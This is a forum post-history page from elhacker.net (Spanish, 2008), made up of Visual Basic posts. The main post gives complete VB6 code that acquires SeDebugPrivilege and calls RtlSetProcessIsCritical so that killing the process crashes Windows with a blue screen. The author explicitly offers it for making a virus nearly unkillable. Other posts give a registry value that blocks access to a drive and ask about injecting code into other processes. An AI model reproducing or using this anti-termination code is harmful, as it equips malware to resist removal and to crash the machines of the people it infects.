elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado:


  Mostrar Mensajes
Páginas: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 [15] 16
141  Programación / Programación Visual Basic / API RtlSetProcessIsCritical en: 11 Noviembre 2008, 23:41 pm
Bueno este code hace uso de un API nativa de NTDLL.dll la cual setea nuestro proceso como un proceso critico del sistema al igual que winlogon o csrss, bueno el resultado de terminar nuestro proceso dara como resultado la BSOD (Blue Screen Of Death) de windows, espero les sea de utilidad, aplicandolo a nuestra especie viral haria que nuestro proceso no se pudiera terminar. casi interminable.

Codigo del Form:

Código
  1. '*************************************************************************
  2. '*************************************************************************
  3. ' Uso de RtlSetProcessIsCritical para setear nuestro proceso, como proceso
  4. ' critico del sistema: del mismo modo que csrss.exe o winlogon
  5. ' XcryptOR - Made In Colombia
  6. '**************************************************************************
  7. '*************************************************************************
  8. Private Sub Form_Load()
  9. On Error Resume Next
  10. ObtenerPrivilegios SE_DEBUG_NAME ' obtiene privilegios de Debugeo
  11. Call RtlSetProcessIsCritical(0, 0, 1) ' setea nuestro proceso como Proceso Critico
  12. End Sub
  13.  

Codigo Modulo:

Código
  1. Option Explicit
  2.  
  3. Private Const ANYSIZE_ARRAY = 1
  4. Private Const TOKEN_ADJUST_PRIVILEGES = &H20
  5. Private Const TOKEN_QUERY = &H8
  6. Private Const SE_PRIVILEGE_ENABLED = &H2
  7.  
  8. Private Type LUID
  9.    LowPart As Long
  10.    HighPart As Long
  11. End Type
  12. Private Type LUID_AND_ATTRIBUTES
  13.        pLuid As LUID
  14.        Attributes As Long
  15. End Type
  16. Private Type TOKEN_PRIVILEGES
  17.    PrivilegeCount As Long
  18.    Privileges(ANYSIZE_ARRAY) As LUID_AND_ATTRIBUTES
  19. End Type
  20.  
  21.  
  22. Private Declare Function AdjustTokenPrivileges Lib "advapi32.dll" (ByVal TokenHandle As Long, ByVal DisableAllPrivileges As Long, NewState As TOKEN_PRIVILEGES, ByVal BufferLength As Long, PreviousState As TOKEN_PRIVILEGES, ReturnLength As Long) As Long
  23. Private Declare Function LookupPrivilegeValue Lib "advapi32" Alias "LookupPrivilegeValueA" (ByVal lpSystemName As String, ByVal lpName As String, lpLUID As LUID) As Long
  24. Private Declare Function GetCurrentProcess Lib "kernel32" () As Long
  25. Private Declare Function OpenProcessToken Lib "advapi32.dll" (ByVal ProcessHandle As Long, ByVal DesiredAccess As Long, TokenHandle As Long) As Long
  26.  
  27.  
  28.  
  29. Public Const SE_DEBUG_NAME As String = "SeDebugPrivilege"
  30.  
  31.  
  32. Public Declare Function RtlSetProcessIsCritical Lib "ntdll.dll" (ByVal NewValue As Boolean, ByVal OldValue As Boolean, ByVal WinLogon As Boolean)
  33.  
  34. Public Function ObtenerPrivilegios(ByVal privilegio As String) As Long
  35.  
  36. Dim lpLUID As LUID
  37. Dim lpToken As TOKEN_PRIVILEGES
  38. Dim lpAntToken As TOKEN_PRIVILEGES
  39. Dim hToken As Long
  40. Dim hProcess As Long
  41. Dim res As Long
  42.  
  43. hProcess = GetCurrentProcess()
  44. res = OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES Or TOKEN_QUERY, hToken)
  45. If res = 0 Then
  46.    Exit Function
  47. End If
  48. res = LookupPrivilegeValue(vbNullString, privilegio, lpLUID)
  49. If res = 0 Then
  50.    Exit Function
  51. End If
  52. With lpToken
  53.    .PrivilegeCount = 1
  54.    .Privileges(0).Attributes = SE_PRIVILEGE_ENABLED
  55.    .Privileges(0).pLuid = lpLUID
  56. End With
  57.  
  58. res = AdjustTokenPrivileges(hToken, False, lpToken, Len(lpToken), lpAntToken, Len(lpAntToken))
  59. If res = 0 Then
  60.    Exit Function
  61. End If
  62. ObtenerPrivilegios = res
  63. End Function
  64.  

saludos
142  Programación / Programación Visual Basic / Re: Prohibir entrada a un Disco en: 4 Noviembre 2008, 00:21 am
 Busca info sobre esta estructura FSCTL_LOCK_VOLUME creo que podrias hacer algo interesante hay bastantes ejemplos
143  Programación / Programación Visual Basic / Re: Prohibir entrada a un Disco en: 31 Octubre 2008, 02:54 am
Usa El registro de windows

HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer escribe el valor NoViewOnDrive como REG_DWORD con el valor = 4

y lsito no tienes acceso al disco
144  Programación / Programación Visual Basic / Re: Visual Basic En Windows Vista en: 29 Octubre 2008, 14:09 pm
Pues si estas corriendo como administrador no tendras problemas solo el usuario estandar requiere de permisos para instalar programas, me parece raro que no puedas instalarlo, te recomiendo te consigas otro cd de instalación

Saludos
145  Programación / Programación Visual Basic / Re: Porblema al correr programa en vb 6 en: 20 Octubre 2008, 20:31 pm
Postea el code o mira la linea de codigo donde sale el error asi te podria ayudar mejor

saludos
146  Programación / Programación Visual Basic / Re: Demo del Futuro Troyano BreakSoft 95% programado por Skyweb07 en: 18 Octubre 2008, 23:24 pm
Que Bien hermano, Te Ganaste el premio al mejor copy paster de la historia, ademas hasta la interfaz es de otro trojan solo le cambiaste los fondos y la mezcla de español e ingles demuestran todo: una funcion de aqui otra de alla. tienes merito por se tan insistente y decir que todito es tu autoria, pero bueno te diste la forma de que toda esa mezcla de codes te funcione eso si es trabajo, por ultimo te aconsejo que cuando publiques un code por lo menos lo modifiques bien.

saludos
147  Programación / Programación Visual Basic / Re: Hola una duda sobre los procesos y los exe en: 16 Octubre 2008, 17:24 pm
si lo lei amigo, tengo un code similar en VB pero no me funciona, en delphi y C, hago la inyeccion sin problemas, yo quiero algo concreto para VB, no se si es la base address, ya que he escuchado que la inyeccion solo se puede hacer dentro otra aplicacion vb.

gracias
148  Programación / Programación Visual Basic / Re: Hola una duda sobre los procesos y los exe en: 16 Octubre 2008, 02:29 am
Spider te dije que no es inyección dll es inyección de code o exe dentro de otro exe, y eon gracias por el tuto la verdad esta muy bueno pero estenso.

saludos
149  Programación / Programación Visual Basic / Re: Hola una duda sobre los procesos y los exe en: 15 Octubre 2008, 17:39 pm
pues la verdad en el foro yo NO he conseguido info al respecto, solo inyección dll, la cual es de lo mas sencilla. bueno ojala y pudieras enviar un link del foro donde encontrar la info que dices, gracias.
150  Programación / Programación Visual Basic / Re: como puedo zipear un archivo sin ocx? en: 13 Octubre 2008, 22:54 pm
aunque he puesto control de errores en el code, al compilarlo y ejecutarlo hay algun error en memoria, si alguien puede ayudarme con el code
Páginas: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 [15] 16
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines